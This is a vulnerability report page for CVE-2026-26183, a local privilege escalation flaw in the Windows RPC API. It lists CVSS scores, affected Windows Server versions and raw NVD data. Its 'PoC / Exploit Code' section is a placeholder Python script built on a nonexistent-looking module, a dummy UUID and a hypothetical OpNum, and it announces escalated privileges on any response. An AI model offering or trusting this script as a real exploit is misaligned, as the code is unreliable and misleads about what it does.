Security Vulnerability Report
中文
CVE-2026-26183 CVSS 7.8 HIGH

CVE-2026-26183

Published: 2026-04-14 18:16:55
Last Modified: 2026-04-23 18:08:51

Description

Improper access control in Windows RPC API allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
Windows (具体版本未披露)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-26183 # This script demonstrates the logic of exploiting an RPC Access Control vulnerability. # Specific UUIDs and OpNums are placeholders as they are not disclosed. import rpc # Target RPC Interface (Placeholder) VULN_UUID = "12345678-1234-1234-1234-123456789abc" VULN_VERSION = 1 def exploit(target_ip): print(f"[*] Connecting to RPC endpoint on {target_ip}...") try: # 1. Bind to the vulnerable RPC interface rpc_client = rpc.RPCClient(target_ip, VULN_UUID, VULN_VERSION) rpc_client.connect() print("[+] Connected to RPC interface.") # 2. Craft malicious payload to trigger access control bypass # The payload might aim to execute a command or write a file stub_data = rpc.create_stub_buffer(command="whoami /all") # 3. Call the vulnerable method (OpNum 0 is hypothetical) print("[*] Sending malicious RPC request...") response = rpc_client.call(0, stub_data) if response: print("[+] Exploit successful! Privileges escalated.") print(f"[+] Response: {response}") else: print("[-] Exploit failed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit("127.0.0.1")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26183", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:55.187", "lastModified": "2026-04-23T18:08:51.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows RPC API allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.9060", "matchCriteriaId": "982DB0CA-5196-4E42-B2F7-994BE8179715"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8644", "matchCriteriaId": "647CF9B5-8898-469B-9C09-D372A7843187"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.5020", "matchCriteriaId": "DC6837B7-5DFD-4AF7-B436-3C6FEF48BA60"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2274", "matchCriteriaId": "55A1F3AB-5299-4495-9A73-FDA23C6FD88D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32690", "matchCriteriaId": "ADF41A14-B9DA-4788-82A8-74DCDCD090E1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}